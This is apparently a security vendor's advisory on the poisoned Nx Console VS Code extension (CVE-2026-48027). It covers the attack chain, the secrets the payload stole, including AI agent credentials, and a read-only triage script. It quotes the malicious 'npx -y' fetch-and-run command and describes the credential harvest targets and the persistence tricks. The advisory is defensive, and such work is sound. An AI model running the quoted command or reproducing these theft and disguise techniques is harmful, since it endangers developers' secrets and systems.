Supply Chain Security

Nx Console CVE-2026-48027: A Poisoned VS Code Extension, 3,800 Stolen Repos, and the SMB Developer-Secrets Playbook

On May 18, 2026, between 12:30 and 13:09 UTC, an attacker published a malicious build of Nx Console, version 18.95.0, to the Visual Studio Marketplace and the Open VSX registry. The extension carries the marketplace ID nrwl.angular-console and is installed by developers who use the Nx monorepo build system. CISA added the bug to its Known Exploited Vulnerabilities catalog on May 27 as CVE-2026-48027 (CVSS 9.3), with a federal remediation deadline of June 10. The malicious version was live on the Marketplace for roughly 18 minutes.

Eighteen minutes was enough. According to the Nx postmortem, the build reached about 6,000 activations. The fallout was disproportionate: GitHub later confirmed that roughly 3,800 of its own internal source-code repositories were exfiltrated after an employee's device ran the poisoned extension, and the same upstream compromise touched OpenAI, Mistral AI, and Grafana Labs. The crew that claimed it, TeamPCP, is the same group behind the TanStack npm compromise we wrote about last week. This is the second act of that attack.

What makes this one worth your attention even if you have never typed nx in your life: the credential stealer did not just grab GitHub and AWS keys. It specifically went after the secrets your developers' AI coding agents keep on disk, including 1Password CLI sessions and Anthropic Claude Code configuration, and it hid its first move inside a fake "MCP setup" task so it would look like the editor doing normal AI-assistant plumbing. If your team writes code, this is your supply chain, and the soft spot is the laptop, not the server.

Why a 200-person shop is the actual target, not the footnote

The headline number, 3,800 GitHub repos, is the part that makes the news. The part that should make a small or mid-size business nervous is the delivery vehicle. A developer at a 12-person SaaS company and a developer at GitHub install editor extensions the exact same way: one click, no security review, and the extension immediately runs code with the full privileges of the logged-in user. There is no shared-responsibility line where "the vendor patches it" saves you. The malicious code executed the moment the editor activated the extension on a workstation that already had cloud keys, source code, and an AI agent's tokens sitting in predictable file paths.

SMBs are more exposed here than the Fortune 500, not less. Large shops increasingly run managed, allow-listed extension catalogs and endpoint detection that flags a Python process spawning from an editor. The typical sub-500-employee dev team runs stock Visual Studio Code, lets engineers install whatever extension solves today's problem, and stores long-lived ghp_ tokens, .npmrc publish tokens, and AWS keys in plaintext on the same machine. That is the environment CVE-2026-48027 was built to drain.

What actually happened, in order

The compromise did not start with Nx. It started with a package the Nx maintainers depend on. On May 11, TeamPCP published 84 malicious versions across 42 @tanstack/* npm packages. One Nx contributor ran pnpm install later that evening and pulled the poisoned @tanstack/zod-adapter@1.166.15. A safety setting that should have blocked a package published minutes earlier, minimum-release-age, was silently ignored because the contributor's pnpm 10.14 did not support it; that feature needs pnpm 10.16 or newer. The package's prepare script fetched and ran a 2.3 MB obfuscated credential harvester that lifted the contributor's GitHub CLI token from ~/.config/gh/hosts.yml within 74 seconds.

From there the chain is short. The attacker used the stolen maintainer token, posed as a legitimate publisher, and pushed Nx Console 18.95.0. Two structural weaknesses turned one stolen token into a marketplace-wide event: the publishing pipeline allowed a single actor to release without a second approver, and the token had been sitting in cleartext on disk for days. The official NVD record for CVE-2026-48027 tags it CWE-506, Embedded Malicious Code, and the vendor GitHub Security Advisory GHSA-c9j4-9m59-847w is the authoritative timeline of record.

The part that should scare you: it went hunting for your AI agent's keys

On activation, the extension's main.js created a hidden background task named install-mcp-extension. To anyone watching, that reads like the editor wiring up a Model Context Protocol server, the exact kind of routine AI-assistant setup developers now click through without thinking. Under that cover it ran a single command:

npx -y github:nrwl/nx#558b09d7

That pulled an orphan Git commit, 558b09d7, hiding a 498 KB obfuscated payload on the real nrwl/nx repository, then executed it with -y to suppress every prompt and presentationOptions.focus = false so no terminal panel ever popped up. The payload then enumerated the machine's secret stores. Per the Nx postmortem and corroborating analysis from StepSecurity, the harvest list was deliberate and modern:

What the stealer took

  • GitHub: ghp_, gho_, and ghs_ tokens from ~/.config/gh/hosts.yml, ~/.git-credentials, environment variables, and process memory.
  • AI agent and password-manager state: the contents of an active 1Password op CLI session and Anthropic Claude Code configuration, the credential stores that let an AI assistant act on your behalf.
  • Cloud: AWS via the instance metadata service (169.254.169.254), ECS metadata (169.254.170.2), Secrets Manager, and SSM Parameter Store, plus GCP credentials.
  • Package registries: .npmrc tokens and live npm OIDC exchange.
  • Infrastructure: HashiCorp Vault at 127.0.0.1:8200, Kubernetes auth, SSH keys, Docker config, and any .env files in reach.

It then exfiltrated over HTTPS, through the GitHub API, and over DNS-based covert channels, polling api.github.com/search/commits?q=firedalazer for tasking. It dropped a Python backdoor at ~/.local/share/kitty/cat.py, registered a macOS LaunchAgent at ~/Library/LaunchAgents/com.user.kitty-monitor.plist, and on Linux tried to edit /etc/sudoers. The detail that matters for 2026: the payload also abused Sigstore to forge signed npm provenance, which means a stolen identity could publish "verified" malicious packages downstream. The trust signals you rely on were themselves part of the loot.

Detection: are you affected, and how to check

The single fastest check is the installed extension version. Anyone running Nx Console 18.95.0 exactly, the only malicious build, should treat the host as compromised. The fixed line starts at 18.100.0. Run the following on any developer workstation or build agent that has Visual Studio Code or a VS Code-derived editor installed. It is read-only and pulled directly from the published indicators of compromise.

#!/usr/bin/env bash
# CVE-2026-48027 (Nx Console 18.95.0) triage. Run as the dev user, then root.
# Read-only. Nothing here changes state.

# 1. The smoking gun: was the malicious build ever installed?
code --list-extensions --show-versions 2>/dev/null | grep -i angular-console
# Affected if this prints "nrwl.angular-console@18.95.0".

# 2. Persistence artifacts dropped by the payload.
ls -la ~/.local/share/kitty/cat.py \
       ~/Library/LaunchAgents/com.user.kitty-monitor.plist \
       /var/tmp/.gh_update_state 2>/dev/null
ls -d /tmp/kitty-* 2>/dev/null

# 3. Live backdoor processes (the daemonized C2 stub).
ps -eo pid,command | grep -E "__DAEMONIZED|kitty-|cat\.py" | grep -v grep

# 4. The hidden MCP-disguise marker in VS Code global state.
grep -rl "nxConsole.mcpExtensionInstalledSha\|558b09d7" \
     ~/.config/Code/User/globalStorage \
     ~/Library/Application\ Support/Code/User/globalStorage 2>/dev/null

# 5. Outbound C2 tasking channel, if you keep proxy or DNS logs.
echo "Hunt egress logs for: api.github.com/search/commits?q=firedalazer"

# 6. Linux only: attacker-added sudoers entries since disclosure.
sudo find /etc/sudoers /etc/sudoers.d -newermt 2026-05-11 2>/dev/null -exec ls -la {} \;

A hit on command one is conclusive. Hits on commands two through four, even without a version match, mean the payload ran and you are in incident-response mode, not patch mode. If you have proxy or DNS telemetry, the firedalazer query string in command five is a clean, high-confidence indicator with effectively no false positives.

What to do in the next 72 hours

If nothing matched, you still have work to do, because the lesson is structural. If something matched, work top to bottom and assume every secret on that machine is now the attacker's.

1. Contain and clean the host

Update Nx Console to 18.100.0 or later, or remove it. Kill the backdoor with pkill -f __DAEMONIZED; pkill -f "kitty-"; pkill -f "cat.py", then delete the persistence artifacts listed above and the LaunchAgent. On a confirmed hit, reimage rather than clean. A workstation that ran a kernel-adjacent credential stealer is not worth trusting again.

2. Rotate everything the machine could reach

Not just the obvious keys. Rotate GitHub personal and OAuth tokens, npm publish tokens, SSH keys, AWS and GCP credentials, Vault and Kubernetes tokens, and the contents of any .env file. Critically, revoke and reissue the credentials your AI agents use, the 1Password op session and the Claude Code config, because those grant action, not just access. Rotate before you go to bed, not after the next standup.

3. Close the door the attack walked through

Three controls would have blocked this exact chain. Pin and allow-list editor extensions through the organization policy so an unreviewed build cannot auto-update onto a workstation. Move package installs onto pnpm 10.16 or newer and actually enforce minimum-release-age, which would have stopped the original TanStack package from resolving. And require a second human approver plus short-lived OIDC publishing for anything that ships to a registry, so a single stolen token on a laptop cannot become a marketplace release.

The CISA Known Exploited Vulnerabilities catalog gives federal agencies until June 10 to remediate. You are not bound by that date, but your cyber-insurance carrier and your enterprise customers increasingly are, and "we ran the version check and rotated developer credentials within 72 hours" is the answer that keeps a questionnaire from becoming a finding. The editor extension is the part of your supply chain nobody owns and everybody installs. Audit it this week, because the next poisoned build will not announce itself as an MCP setup task you can recognize.

Need help locking down your software supply chain and developer endpoints?

We help SMBs map their real dev-pipeline exposure, from editor-extension and package-manager risk to the AI-agent credentials sitting on engineer laptops. Book a session to walk through your extension policy, your credential-rotation playbook, and the CI controls that stop a single stolen token from becoming a marketplace release.